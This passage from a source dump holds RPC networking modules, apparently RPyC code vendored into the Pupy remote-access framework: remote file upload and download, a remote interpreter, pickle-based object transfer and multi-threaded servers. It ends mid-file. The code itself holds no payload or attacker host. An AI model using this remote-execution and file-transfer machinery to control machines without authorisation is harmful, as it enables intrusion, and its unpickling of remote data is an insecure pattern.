    "content": "from __future__ import with_statement\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport os\nimport inspect\n\nfrom io import open\n\nfrom pupy.network.lib.compat import pickle, execute, is_py3k\nfrom pupy.network.lib.rpc.core.service import ModuleNamespace\nfrom contextlib import contextmanager\n\n#===============================================================================\n# remoting utilities\n#===============================================================================\n\n\ndef upload(conn, localpath, remotepath, filter = None, ignore_invalid = False, chunk_size = 16000):\n    \"\"\"uploads a file or a directory to the given remote path\n\n    :param localpath: the local file or directory\n    :param remotepath: the remote path\n    :param filter: a predicate that accepts the filename and determines whether\n                   it should be uploaded; None means any file\n    :param chunk_size: the IO chunk size\n    \"\"\"\n    if os.path.isdir(localpath):\n        upload_dir(conn, localpath, remotepath, filter, chunk_size)\n    elif os.path.isfile(localpath):\n        upload_file(conn, localpath, remotepath, chunk_size)\n    else:\n        if not ignore_invalid:\n            raise ValueError(\"cannot upload %r\" % (localpath,))\n\n\ndef upload_file(conn, localpath, remotepath, chunk_size = 16000):\n    lf = open(localpath, \"rb\")\n    rf = conn.builtin.open(remotepath, \"wb\")\n    while True:\n        buf = lf.read(chunk_size)\n        if not buf:\n            break\n        rf.write(buf)\n    lf.close()\n    rf.close()\n\n\ndef upload_dir(conn, localpath, remotepath, filter = None, chunk_size = 16000):\n    if not conn.modules.os.path.isdir(remotepath):\n        conn.modules.os.makedirs(remotepath)\n    for fn in os.listdir(localpath):\n        if not filter or filter(fn):\n            lfn = os.path.join(localpath, fn)\n            rfn = conn.modules.os.path.join(remotepath, fn)\n            upload(conn, lfn, rfn, filter = filter, ignore_invalid = True, chunk_size = chunk_size)\n\n\ndef download(conn, remotepath, localpath, filter = None, ignore_invalid = False, chunk_size = 16000):\n    \"\"\"\n    download a file or a directory to the given remote path\n\n    :param localpath: the local file or directory\n    :param remotepath: the remote path\n    :param filter: a predicate that accepts the filename and determines whether\n                   it should be downloaded; None means any file\n    :param chunk_size: the IO chunk size\n    \"\"\"\n    if conn.modules.os.path.isdir(remotepath):\n        download_dir(conn, remotepath, localpath, filter)\n    elif conn.modules.os.path.isfile(remotepath):\n        download_file(conn, remotepath, localpath, chunk_size)\n    else:\n        if not ignore_invalid:\n            raise ValueError(\"cannot download %r\" % (remotepath,))\n\n\ndef download_file(conn, remotepath, localpath, chunk_size = 16000):\n    rf = conn.builtin.open(remotepath, \"rb\")\n    lf = open(localpath, \"wb\")\n    while True:\n        buf = rf.read(chunk_size)\n        if not buf:\n            break\n        lf.write(buf)\n    lf.close()\n    rf.close()\n\n\ndef download_dir(conn, remotepath, localpath, filter = None, chunk_size = 16000):\n    if not os.path.isdir(localpath):\n        os.makedirs(localpath)\n    for fn in conn.modules.os.listdir(remotepath):\n        if not filter or filter(fn):\n            rfn = conn.modules.os.path.join(remotepath, fn)\n            lfn = os.path.join(localpath, fn)\n            download(conn, rfn, lfn, filter = filter, ignore_invalid = True)\n\n\ndef upload_package(conn, module, remotepath = None, chunk_size = 16000):\n    \"\"\"\n    uploads a module or a package to the remote party\n\n    :param conn: the RPyC connection to use\n    :param module: the local module/package object to upload\n    :param remotepath: the remote path (if ``None``, will default to the\n                       remote system's python library (as reported by\n                       ``distutils``)\n    :param chunk_size: the IO chunk size\n\n    .. note:: ``upload_module`` is just an alias to ``upload_package``\n\n    example::\n\n       import foo.bar\n       ...\n       network.lib.rpc.classic.upload_package(conn, foo.bar)\n\n    \"\"\"\n    if remotepath is None:\n        site = conn.modules[\"distutils.sysconfig\"].get_python_lib()\n        remotepath = conn.modules.os.path.join(site, module.__name__)\n    localpath = os.path.dirname(os.path.abspath(inspect.getsourcefile(module)))\n    upload(conn, localpath, remotepath, chunk_size = chunk_size)\n\nupload_module = upload_package\n\n\ndef obtain(proxy):\n    \"\"\"obtains (copies) a remote object from a proxy object. the object is\n    ``pickled`` on the remote side and ``unpickled`` locally, thus moved\n    **by value**. changes made to the local object will not reflect remotely.\n\n    :param proxy: an RPyC proxy object\n\n    .. note:: the remote object to must be ``pickle``-able\n\n    :returns: a copy of the remote object\n    \"\"\"\n    return pickle.loads(pickle.dumps(proxy, 2))\n\n\ndef deliver(conn, localobj):\n    \"\"\"delivers (recreates) a local object on the other party. the object is\n    ``pickled`` locally and ``unpickled`` on the remote side, thus moved\n    **by value**. changes made to the remote object will not reflect locally.\n\n    :param conn: the RPyC connection\n    :param localobj: the local object to deliver\n\n    .. note:: the object must be ``picklable``\n\n    :returns: a proxy to the remote object\n    \"\"\"\n    return conn.modules[\"network.lib.compat\"].pickle.loads(\n        pickle.dumps(localobj, 2))\n\n\n@contextmanager\ndef redirected_stdio(conn):\n    r\"\"\"\n    Redirects the other party's ``stdin``, ``stdout`` and ``stderr`` to\n    those of the local party, so remote IO will occur locally.\n\n    Example usage::\n\n        with redirected_stdio(conn):\n            conn.modules.sys.stdout.write(\"hello\\n\")   # will be printed locally\n\n    \"\"\"\n    orig_stdin = conn.modules.sys.stdin\n    orig_stdout = conn.modules.sys.stdout\n    orig_stderr = conn.modules.sys.stderr\n    try:\n        conn.modules.sys.stdin = sys.stdin\n        conn.modules.sys.stdout = sys.stdout\n        conn.modules.sys.stderr = sys.stderr\n        yield\n    finally:\n        conn.modules.sys.stdin = orig_stdin\n        conn.modules.sys.stdout = orig_stdout\n        conn.modules.sys.stderr = orig_stderr\n\n\ndef pm(conn):\n    \"\"\"same as ``pdb.pm()`` but on a remote exception\n\n    :param conn: the RPyC connection\n    \"\"\"\n    #pdb.post_mortem(conn.root.getconn()._last_traceback)\n    with redirected_stdio(conn):\n        conn.modules.pdb.post_mortem(conn.root.getconn()._last_traceback)\n\n\ndef interact(conn, namespace = None):\n    \"\"\"remote interactive interpreter\n\n    :param conn: the RPyC connection\n    :param namespace: the namespace to use (a ``dict``)\n    \"\"\"\n    if namespace is None:\n        namespace = {}\n    namespace[\"conn\"] = conn\n    with redirected_stdio(conn):\n        conn.execute(\"\"\"def _rinteract(ns):\n            import code\n            code.interact(local = dict(ns))\"\"\")\n        conn.namespace[\"_rinteract\"](namespace)\n\n\nclass MockClassicConnection(object):\n    \"\"\"Mock classic RPyC connection object. Useful when you want the same code to run remotely or locally.\n\n    \"\"\"\n    def __init__(self):\n        self._conn = None\n        self.namespace = {}\n        self.modules = ModuleNamespace(self.getmodule)\n\n        if is_py3k:\n            self.builtin = self.modules.builtins\n        else:\n            self.builtin = self.modules.__builtin__\n\n        self.builtins = self.builtin\n\n    def execute(self, text):\n        execute(text, self.namespace)\n\n    def eval(self, text):\n        return eval(text, self.namespace)\n\n    def getmodule(self, name):\n        return __import__(name, None, None, \"*\")\n\n    def getconn(self):\n        return None\n\ndef teleport_function(conn, func):\n    \"\"\"\n    \"Teleports\" a function (including nested functions/closures) over the RPyC connection.\n    The function is passed in bytecode form and reconstructed on the other side.\n\n    The function cannot have non-brinable defaults (e.g., ``def f(x, y=[8]):``,\n    since a ``list`` isn't brinable), or make use of non-builtin globals (like modules).\n    You can overcome the second restriction by moving the necessary imports into the\n    function body, e.g. ::\n\n        def f(x, y):\n            import os\n            return (os.getpid() + y) * x\n\n    :param conn: the RPyC connection\n    :param func: the function object to be delivered to the other party\n    \"\"\"\n    from pupy.network.lib.rpc.utils.teleportation import export_function\n    exported = export_function(func)\n    return conn.modules[\"network.lib.rpc.utils.teleportation\"].import_function(exported)\n"
  },
  {
    "path": "pupy/network/lib/rpc/utils/helpers.py",
    "content": "\"\"\"\nHelpers and wrappers for common RPyC tasks\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport time\nimport threading\n\nfrom pupy.network.lib.rpc.lib.colls import WeakValueDict\nfrom pupy.network.lib.compat import callable\nfrom pupy.network.lib.rpc.core.consts import HANDLE_BUFFITER, HANDLE_CALL\nfrom pupy.network.lib.rpc.core.netref import syncreq, asyncreq\n\n\ndef buffiter(obj, chunk = 10, max_chunk = 1000, factor = 2):\n    \"\"\"Buffered iterator - reads the remote iterator in chunks starting with\n    *chunk*, multiplying the chunk size by *factor* every time, as an\n    exponential-backoff, up to a chunk of *max_chunk* size.\n\n    ``buffiter`` is very useful for tight loops, where you fetch an element\n    from the other side with every iterator. Instead of being limited by the\n    network's latency after every iteration, ``buffiter`` fetches a \"chunk\"\n    of elements every time, reducing the amount of network I/Os.\n\n    :param obj: An iterable object (supports ``iter()``)\n    :param chunk: the initial chunk size\n    :param max_chunk: the maximal chunk size\n    :param factor: the factor by which to multiply the chunk size after every\n                   iterator (up to *max_chunk*). Must be >= 1.\n\n    :returns: an iterator\n\n    Example::\n\n        cursor = db.get_cursor()\n        for id, name, dob in buffiter(cursor.select(\"Id\", \"Name\", \"DoB\")):\n            print id, name, dob\n    \"\"\"\n    if factor < 1:\n        raise ValueError(\"factor must be >= 1, got %r\" % (factor,))\n    it = iter(obj)\n    count = chunk\n    while True:\n        items = syncreq(it, HANDLE_BUFFITER, count)\n        count = min(count * factor, max_chunk)\n        if not items:\n            break\n        for elem in items:\n            yield elem\n\ndef restricted(obj, attrs, wattrs=None):\n    \"\"\"Returns a 'restricted' version of an object, i.e., allowing access only to a subset of its\n    attributes. This is useful when returning a \"broad\" or \"dangerous\" object, where you don't\n    want the other party to have access to all of its attributes.\n\n    .. versionadded:: 3.2\n\n    :param obj: any object\n    :param attrs: the set of attributes exposed for reading (``getattr``) or writing (``setattr``).\n                  The same set will serve both for reading and writing, unless wattrs is explicitly\n                  given.\n    :param wattrs: the set of attributes exposed for writing (``setattr``). If ``None``,\n                   ``wattrs`` will default to ``attrs``. To disable setting attributes completely,\n                   set to an empty tuple ``()``.\n    :returns: a restricted view of the object\n\n    Example::\n\n        class MyService(network.lib.rpc.Service):\n            def exposed_open(self, filename):\n                f = open(filename, \"r\")\n                return network.lib.rpc.restricted(f, {\"read\", \"close\"})   # disallow access to `seek` or `write`\n\n    \"\"\"\n    if wattrs is None:\n        wattrs = attrs\n\n    class Restricted(object):\n        def _rpyc_getattr(self, name):\n            if name not in attrs:\n                raise AttributeError(name)\n            return getattr(obj, name)\n\n        __getattr__ = _rpyc_getattr\n\n        def _rpyc_setattr(self, name, value):\n            if name not in wattrs:\n                raise AttributeError(name)\n            setattr(obj, name, value)\n\n        __setattr__ = _rpyc_setattr\n\n    return Restricted()\n\n\nclass _Async(object):\n    \"\"\"Creates an async proxy wrapper over an existing proxy. Async proxies\n    are cached. Invoking an async proxy will return an AsyncResult instead of\n    blocking\"\"\"\n\n    __slots__ = (\"proxy\", \"__weakref__\")\n\n    def __init__(self, proxy):\n        self.proxy = proxy\n\n    def __call__(self, *args, **kwargs):\n        return asyncreq(self.proxy, HANDLE_CALL, args, tuple(kwargs.items()))\n\n    def __repr__(self):\n        return \"nowait(%r)\" % (self.proxy,)\n\n\n_async_proxies_cache = WeakValueDict()\ndef nowait(proxy):\n    \"\"\"\n    Returns an asynchronous \"version\" of the given proxy. Invoking the returned\n    proxy will not block; instead it will return an\n    :class:`network.lib.rpc.core.async.AsyncResult` object that you can test for completion\n\n    :param proxy: any **callable** RPyC proxy\n\n    :returns: the proxy, wrapped by an asynchronous wrapper\n\n    Example::\n\n        async_sleep = network.lib.rpc.nowait(conn.modules.time.sleep)\n        res = async_sleep(5)\n\n    .. _async_note:\n\n    .. note::\n       In order to avoid overloading the GC, the returned asynchronous wrapper is\n       cached as a weak reference. Therefore, do not use::\n\n           network.lib.rpc.async(foo)(5)\n\n       Always store the returned asynchronous wrapper in a variable, e.g. ::\n\n           a_foo = network.lib.rpc.nowait(foo)\n           a_foo(5)\n\n    .. note::\n        Furthermore, async requests provide **no guarantee on execution\n        order**. In particular, multiple subsequent async requests may be\n        executed in reverse order.\n    \"\"\"\n\n    async_call = getattr(proxy, '___async_call__')\n    if async_call is not None:\n        return async_call\n\n    pid = id(proxy)\n\n    if pid in _async_proxies_cache:\n        return _async_proxies_cache[pid]\n\n    if not hasattr(proxy, \"____conn__\") or not hasattr(proxy, \"____oid__\"):\n        raise TypeError(\"'proxy' must be a Netref: %r\", (proxy,))\n\n    if not callable(proxy):\n        raise TypeError(\n            \"'proxy' must be callable: %r (%s)\" % (proxy, type(proxy))\n        )\n\n    caller = _Async(proxy)\n    _async_proxies_cache[id(caller)] = _async_proxies_cache[pid] = caller\n\n    return caller\n\n\nnowait.__doc__ = _Async.__doc__\n\n\nclass timed(object):\n    \"\"\"Creates a timed asynchronous proxy. Invoking the timed proxy will\n    run in the background and will raise an :class:`network.lib.rpc.core.async.AsyncResultTimeout`\n    exception if the computation does not terminate within the given time frame\n\n    :param proxy: any **callable** RPyC proxy\n    :param timeout: the maximal number of seconds to allow the operation to run\n\n    :returns: a ``timed`` wrapped proxy\n\n    Example::\n\n        t_sleep = network.lib.rpc.timed(conn.modules.time.sleep, 6) # allow up to 6 seconds\n        t_sleep(4) # okay\n        t_sleep(8) # will time out and raise AsyncResultTimeout\n    \"\"\"\n\n    __slots__ = (\"__weakref__\", \"proxy\", \"timeout\")\n\n    def __init__(self, proxy, timeout):\n        self.proxy = nowait(proxy)\n        self.timeout = timeout\n\n    def __call__(self, *args, **kwargs):\n        res = self.proxy(*args, **kwargs)\n        res.set_expiry(self.timeout)\n        return res\n\n    def __repr__(self):\n        return \"timed(%r, %r)\" % (self.proxy.proxy, self.timeout)\n\n\nclass BgServingThread(object):\n    \"\"\"Runs an RPyC server in the background to serve all requests and replies\n    that arrive on the given RPyC connection. The thread is started upon the\n    the instantiation of the ``BgServingThread`` object; you can use the\n    :meth:`stop` method to stop the server thread\n\n    Example::\n\n        conn = network.lib.rpc.connect(...)\n        bg_server = BgServingThread(conn)\n        ...\n        bg_server.stop()\n\n    .. note::\n       For a more detailed explanation of asynchronous operation and the role of the\n       ``BgServingThread``, see :ref:`tut5`\n\n    \"\"\"\n    # these numbers are magical...\n    SERVE_INTERVAL = 0.0\n    SLEEP_INTERVAL = 0.1\n\n    def __init__(self, conn, callback=None):\n        self._conn = conn\n        self._thread = threading.Thread(target = self._bg_server)\n        self._thread.setDaemon(True)\n        self._active = True\n        self._callback = callback\n        self._thread.start()\n\n    def __del__(self):\n        if self._active:\n            self.stop()\n\n    def _bg_server(self):\n        try:\n            while self._active:\n                self._conn.serve(self.SERVE_INTERVAL)\n                time.sleep(self.SLEEP_INTERVAL) # to reduce contention\n        except Exception:\n            if self._active:\n                self._active = False\n                if self._callback is None:\n                    raise\n                self._callback()\n\n    def stop(self):\n        \"\"\"stop the server thread. once stopped, it cannot be resumed. you will\n        have to create a new BgServingThread object later.\"\"\"\n        assert self._active\n        self._active = False\n        self._thread.join()\n        self._conn = None\n"
  },
  {
    "path": "pupy/network/lib/rpc/utils/server.py",
    "content": "\"\"\"\nrpyc plug-in server (threaded or forking)\n\"\"\"\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport sys\nimport os\nimport socket\nimport time\nimport threading\nimport errno\nimport logging\n\nif sys.version_info.major > 2:\n    import queue as Queue\nelse:\n    import Queue\n\nfrom pupy.network.lib.rpc.core import SocketStream, Channel, Connection\nfrom pupy.network.lib.rpc.lib import safe_import\nfrom pupy.network.lib.compat import poll, get_exc_errno\n\nsignal = safe_import(\"signal\")\n\n\nclass AuthenticationError(Exception):\n    pass\n\n\nclass Server(object):\n    \"\"\"Base server implementation\n\n    :param service: the :class:`service <service.Service>` to expose\n    :param hostname: the host to bind to. Default is IPADDR_ANY, but you may\n                     want to restrict it only to ``localhost`` in some setups\n    :param ipv6: whether to create an IPv6 or IPv4 socket. The default is IPv4\n    :param port: the TCP port to bind to\n    :param backlog: the socket's backlog (passed to ``listen()``)\n    :param reuse_addr: whether or not to create the socket with the ``SO_REUSEADDR`` option set.\n    :param authenticator: the :ref:`api-authenticators` to use. If ``None``, no authentication\n                          is performed.\n    :param registrar: the :class:`registrar <network.lib.rpc.utils.registry.RegistryClient>` to use.\n    :param auto_register: whether or not to register using the *registrar*. By default, the\n                          server will attempt to register only if a registrar was explicitly given.\n    :param protocol_config: the :data:`configuration dictionary <network.lib.rpc.core.protocol.DEFAULT_CONFIG>`\n                            that is passed to the RPyC connection\n    :param logger: the ``logger`` to use (of the built-in ``logging`` module). If ``None``, a\n                   default logger will be created.\n    :param listener_timeout: the timeout of the listener socket; set to ``None`` to disable (e.g.\n                             on embedded platforms with limited battery)\n    \"\"\"\n\n    def __init__(self, service, hostname = \"\", ipv6 = False, port = 0,\n            backlog = 10, reuse_addr = True, authenticator = None, registrar = None,\n            auto_register = None, protocol_config = {}, logger = None, listener_timeout = 0.5,\n            socket_path = None):\n        self.active = False\n        self._closed = False\n        self.service = service\n        self.authenticator = authenticator\n        self.backlog = backlog\n        if auto_register is None:\n            self.auto_register = bool(registrar)\n        else:\n            self.auto_register = auto_register\n        self.protocol_config = protocol_config\n        self.clients = set()\n\n        if socket_path is not None:\n            if hostname != \"\" or port != 0 or ipv6 is not False:\n                raise ValueError(\"socket_path is mutually exclusive with: hostname, port, ipv6\")\n            self.listener = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n            self.listener.bind(socket_path)\n            # set the self.port to the path as it's used for the registry and logging\n            self.host, self.port = \"\", socket_path\n        else:\n            if ipv6:\n                if hostname == \"localhost\" and sys.platform != \"win32\":\n                    # on windows, you should bind to localhost even for ipv6\n                    hostname = \"localhost6\"\n                self.listener = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)\n            else:\n                self.listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n            if reuse_addr and sys.platform != \"win32\":\n                # warning: reuseaddr is not what you'd expect on windows!\n                # it allows you to bind an already bound port, resulting in \"unexpected behavior\"\n                # (quoting MSDN)\n                self.listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n            self.listener.bind((hostname, port))\n            self.listener.settimeout(listener_timeout)\n\n            # hack for IPv6 (the tuple can be longer than 2)\n            sockname = self.listener.getsockname()\n            self.host, self.port = sockname[0], sockname[1]\n\n        if logger is None:\n            logger = logging.getLogger(\"%s/%s\" % (self.service.get_service_name(), self.port))\n        self.logger = logger\n        if \"logger\" not in self.protocol_config:\n            self.protocol_config[\"logger\"] = self.logger\n        self.registrar = registrar\n\n    def close(self):\n        \"\"\"Closes (terminates) the server and all of its clients. If applicable,\n        also unregisters from the registry server\"\"\"\n        if self._closed:\n            return\n        self._closed = True\n        self.active = False\n        if self.auto_register:\n            try:\n                self.registrar.unregister(self.port)\n            except Exception:\n                self.logger.exception(\"error unregistering services\")\n        try:\n            self.listener.shutdown(socket.SHUT_RDWR)\n        except (EnvironmentError, socket.error):\n            pass\n        self.listener.close()\n        self.logger.info(\"listener closed\")\n        for c in set(self.clients):\n            try:\n                c.shutdown(socket.SHUT_RDWR)\n            except Exception:\n                pass\n            c.close()\n        self.clients.clear()\n\n    def fileno(self):\n        \"\"\"returns the listener socket's file descriptor\"\"\"\n        return self.listener.fileno()\n\n    def accept(self):\n        \"\"\"accepts an incoming socket connection (blocking)\"\"\"\n        while self.active:\n            try:\n                sock, addrinfo = self.listener.accept()\n            except socket.timeout:\n                pass\n            except socket.error:\n                ex = sys.exc_info()[1]\n                if get_exc_errno(ex) in (errno.EINTR, errno.EAGAIN):\n                    pass\n                else:\n                    raise EOFError()\n            else:\n                break\n\n        if not self.active:\n            return\n\n        sock.setblocking(True)\n        self.logger.info(\"accepted %s with fd %d\", addrinfo, sock.fileno())\n        self.clients.add(sock)\n        self._accept_method(sock)\n\n    def _accept_method(self, sock):\n        \"\"\"this method should start a thread, fork a child process, or\n        anything else in order to serve the client. once the mechanism has\n        been created, it should invoke _authenticate_and_serve_client with\n        `sock` as the argument\"\"\"\n        raise NotImplementedError\n\n    def _authenticate_and_serve_client(self, sock):\n        try:\n            if self.authenticator:\n                addrinfo = sock.getpeername()\n                try:\n                    sock2, credentials = self.authenticator(sock)\n                except AuthenticationError:\n                    self.logger.info(\"%s failed to authenticate, rejecting connection\", addrinfo)\n                    return\n                else:\n                    self.logger.info(\"%s authenticated successfully\", addrinfo)\n            else:\n                credentials = None\n                sock2 = sock\n            try:\n                self._serve_client(sock2, credentials)\n            except Exception:\n                self.logger.exception(\"client connection terminated abruptly\")\n                raise\n        finally:\n            try:\n                sock.shutdown(socket.SHUT_RDWR)\n            except Exception:\n                pass\n            sock.close()\n            self.clients.discard(sock)\n\n    def _serve_client(self, sock, credentials):\n        addrinfo = sock.getpeername()\n        if credentials:\n            self.logger.info(\"welcome %s (%r)\", addrinfo, credentials)\n        else:\n            self.logger.info(\"welcome %s\", addrinfo)\n        try:\n            config = dict(self.protocol_config, credentials = credentials,\n                endpoints = (sock.getsockname(), addrinfo), logger = self.logger)\n            conn = Connection(self.service, Channel(SocketStream(sock)),\n                config = config, _lazy = True)\n            conn._init_service()\n            self._handle_connection(conn)\n        finally:\n            self.logger.info(\"goodbye %s\", addrinfo)\n\n    def _handle_connection(self, conn):\n        \"\"\"This methoed should implement the server's logic.\"\"\"\n        conn.serve_all()\n\n    def _bg_register(self):\n        interval = self.registrar.REREGISTER_INTERVAL\n        self.logger.info(\"started background auto-register thread \"\n            \"(interval = %s)\", interval)\n        tnext = 0\n        try:\n            while self.active:\n                t = time.time()\n                if t >= tnext:\n                    did_register = False\n                    aliases = self.service.get_service_aliases()\n                    try:\n                        did_register = self.registrar.register(aliases, self.port, interface = self.host)\n                    except Exception:\n                        self.logger.exception(\"error registering services\")\n\n                    # If registration worked out, retry to register again after\n                    # interval time. Otherwise, try to register soon again.\n                    if did_register:\n                        tnext = t + interval\n                    else:\n                        self.logger.info(\"registering services did not work - retry\")\n\n                time.sleep(1)\n        finally:\n            if not self._closed:\n                self.logger.info(\"background auto-register thread finished\")\n\n    def start(self):\n        \"\"\"Starts the server (blocking). Use :meth:`close` to stop\"\"\"\n        self.listener.listen(self.backlog)\n        # On Jython, if binding to port 0, we can get the correct port only\n        # once `listen()` was called, see #156:\n        if not self.port:\n            # Note that for AF_UNIX the following won't work (but we are safe\n            # since we already saved the socket_path into self.port):\n            self.port = self.listener.getsockname()[1]\n        self.logger.info(\"server started on [%s]:%s\", self.host, self.port)\n        self.active = True\n        if self.auto_register:\n            t = threading.Thread(target = self._bg_register)\n            t.setDaemon(True)\n            t.start()\n        try:\n            while self.active:\n                self.accept()\n        except EOFError:\n            pass # server closed by another thread\n        except KeyboardInterrupt:\n            print(\"\")\n            self.logger.warn(\"keyboard interrupt!\")\n        finally:\n            self.logger.info(\"server has terminated\")\n            self.close()\n\n\nclass OneShotServer(Server):\n    \"\"\"\n    A server that handles a single connection (blockingly), and terminates after that\n\n    Parameters: see :class:`Server`\n    \"\"\"\n    def _accept_method(self, sock):\n        try:\n            self._authenticate_and_serve_client(sock)\n        finally:\n            self.close()\n\nclass ThreadedServer(Server):\n    \"\"\"\n    A server that spawns a thread for each connection. Works on any platform\n    that supports threads.\n\n    Parameters: see :class:`Server`\n    \"\"\"\n    def _accept_method(self, sock):\n        t = threading.Thread(target = self._authenticate_and_serve_client, args = (sock,))\n        t.setDaemon(True)\n        t.start()\n\n\nclass ThreadPoolServer(Server):\n    \"\"\"This server is threaded like the ThreadedServer but reuses threads so that\n    recreation is not necessary for each request. The pool of threads has a fixed\n    size that can be set with the 'nbThreads' argument. The default size is 20.\n    The server dispatches request to threads by batch, that is a given thread may process\n    up to request_batch_size requests from the same connection in one go, before it goes to\n    the next connection with pending requests. By default, self.request_batch_size\n    is set to 10 and it can be overwritten in the constructor arguments.\n\n    Contributed by *@sponce*\n\n    Parameters: see :class:`Server`\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        '''Initializes a ThreadPoolServer. In particular, instantiate the thread pool.'''\n        # get the number of threads in the pool\n        nbthreads = 20\n        if 'nbThreads' in kwargs:\n            nbthreads = kwargs['nbThreads']\n            del kwargs['nbThreads']\n        # get the request batch size\n        self.request_batch_size = 10\n        if 'requestBatchSize' in kwargs:\n            self.request_batch_size = kwargs['requestBatchSize']\n            del kwargs['requestBatchSize']\n        # init the parent\n        Server.__init__(self, *args, **kwargs)\n        # a queue of connections having something to process\n        self._active_connection_queue = Queue.Queue()\n        # declare the pool as already active\n        self.active = True\n        # setup the thread pool for handling requests\n        self.workers = []\n        for i in range(nbthreads):\n            t = threading.Thread(target = self._serve_clients)\n            t.setName('Worker%i' % i)\n            t.daemon = True\n            t.start()\n            self.workers.append(t)\n        # a polling object to be used be the polling thread\n        self.poll_object = poll()\n        # a dictionary fd -> connection\n        self.fd_to_conn = {}\n        # setup a thread for polling inactive connections\n        self.polling_thread = threading.Thread(target = self._poll_inactive_clients)\n        self.polling_thread.setName('PollingThread')\n        self.polling_thread.setDaemon(True)\n        self.polling_thread.start()\n\n    def close(self):\n        '''closes a ThreadPoolServer. In particular, joins the thread pool.'''\n        # close parent server\n        Server.close(self)\n        # stop producer thread\n        self.polling_thread.join()\n        # cleanup thread pool : first fill the pool with None fds so that all threads exit\n        # the blocking get on the queue of active connections. Then join the threads\n        for _ in range(len(self.workers)):\n            self._active_connection_queue.put(None)\n        for w in self.workers:\n            w.join()\n\n    def _remove_from_inactive_connection(self, fd):\n        '''removes a connection from the set of inactive ones'''\n        # unregister the connection in the polling object\n        try:\n            self.poll_object.unregister(fd)\n        except KeyError:\n            # the connection has already been unregistered\n            pass\n\n    def _drop_connection(self, fd):\n        '''removes a connection by closing it and removing it from internal structs'''\n        conn = None\n\n        # cleanup fd_to_conn dictionnary\n        try:\n            conn = self.fd_to_conn[fd]\n            del self.fd_to_conn[fd]\n        except KeyError:\n            # the active connection has already been removed\n            pass\n\n        # close connection\n        self.logger.info(\"Closing connection for fd %d\", fd)\n        if conn:\n            conn.close()\n\n    def _add_inactive_connection(self, fd):\n        '''adds a connection to the set of inactive ones'''\n        self.poll_object.register(fd, \"reh\")\n\n    def _handle_poll_result(self, connlist):\n        '''adds a connection to the set of inactive ones'''\n        for fd, evt in connlist:\n            try:\n                # remove connection from the inactive ones\n                self._remove_from_inactive_connection(fd)\n                # Is it an error ?\n                if \"e\" in evt or \"n\" in evt or \"h\" in evt:\n                    # it was an error, connection was closed. Do the same on our side\n                    self._drop_connection(fd)\n                else:\n                    # connection has data, let's add it to the active queue\n                    self._active_connection_queue.put(fd)\n            except KeyError:\n                # the connection has already been dropped. Give up\n                pass\n\n    def _poll_inactive_clients(self):\n        '''Main method run by the polling thread of the thread pool.\n        Check whether inactive clients have become active'''\n        while self.active:\n            try:\n                # the actual poll, with a timeout of 0.1s so that we can exit in case\n                # we re not active anymore\n                active_clients = self.poll_object.poll(0.1)\n                # for each client that became active, put them in the active queue\n                self._handle_poll_result(active_clients)\n            except Exception:\n                ex = sys.exc_info()[1]\n                # \"Caught exception in Worker thread\" message\n                self.logger.warning(\"Failed to poll clients, caught exception : %s\", str(ex))\n                # wait a bit so that we do not loop too fast in case of error\n                time.sleep(0.2)\n\n    def _serve_requests(self, fd):\n        '''Serves requests from the given connection and puts it back to the appropriate queue'''\n        # serve a maximum of RequestBatchSize requests for this connection\n        for _ in range(self.request_batch_size):\n            try:\n                if not self.fd_to_conn[fd].poll(): # note that poll serves the request\n                    # we could not find a request, so we put this connection back to the inactive set\n                    self._add_inactive_connection(fd)\n                    return\n            except EOFError:\n                # the connection has been closed by the remote end. Close it on our side and return\n                self._drop_connection(fd)\n                return\n            except Exception:\n                # put back the connection to active queue in doubt and raise the exception to the upper level\n                self._active_connection_queue.put(fd)\n                raise\n        # we've processed the maximum number of requests. Put back the connection in the active queue\n        self._active_connection_queue.put(fd)\n\n    def _serve_clients(self):\n        '''Main method run by the processing threads of the thread pool.\n        Loops forever, handling requests read from the connections present in the active_queue'''\n        while self.active:\n            try:\n                # note that we do not use a timeout here. This is because the implementation of\n                # the timeout version performs badly. So we block forever, and exit by filling\n                # the queue with None fds\n                fd = self._active_connection_queue.get(True)\n                # fd may be None (case where we want to exit the blocking get to close the service)\n                if fd:\n                    # serve the requests of this connection\n                    self._serve_requests(fd)\n            except Queue.Empty:\n                # we've timed out, let's just retry. We only use the timeout so that this\n                # thread can stop even if there is nothing in the queue\n                pass\n            except Exception:\n                # \"Caught exception in Worker thread\" message\n                self.logger.exception(\"failed to serve client, caught exception\")\n                # wait a bit so that we do not loop too fast in case of error\n                time.sleep(0.2)\n\n    def _authenticate_and_build_connection(self, sock):\n        '''Authenticate a client and if it succees, wraps the socket in a connection object.\n        Note that this code is cut and paste from the rpyc internals and may have to be\n        changed if rpyc evolves'''\n        # authenticate\n        if self.authenticator:\n            h, p = sock.getpeername()\n            try:\n                sock, credentials = self.authenticator(sock)\n            except AuthenticationError:\n                self.logger.warning(\"%s:%s failed to authenticate, rejecting connection\", h, p)\n                return None\n        else:\n            credentials = None\n        # build a connection\n        h, p = sock.getpeername()\n        config = dict(self.protocol_config, credentials=credentials, connid=\"%s:%d\"%(h, p),\n                      endpoints=(sock.getsockname(), (h, p)))\n        return Connection(self.service, Channel(SocketStream(sock)), config=config)\n\n    def _accept_method(self, sock):\n        '''Implementation of the accept method : only pushes the work to the internal queue.\n        In case the queue is full, raises an AsynResultTimeout error'''\n        try:\n            # authenticate and build connection object\n            conn = self._authenticate_and_build_connection(sock)\n            # put the connection in the active queue\n            if conn:\n                h, p = sock.getpeername()\n                fd = conn.fileno()\n                self.logger.debug(\"Created connection to %s:%d with fd %d\", h, p, fd)\n                self.fd_to_conn[fd] = conn\n                self._add_inactive_connection(fd)\n                self.clients.clear()\n            else:\n                self.logger.warning(\"Failed to authenticate and build connection, closing %s:%d\", h, p)\n                sock.close()\n        except Exception:\n            h, p = sock.getpeername()\n            self.logger.exception(\"Failed to serve client for %s:%d, caught exception\", h, p)\n            sock.close()\n\n\nclass 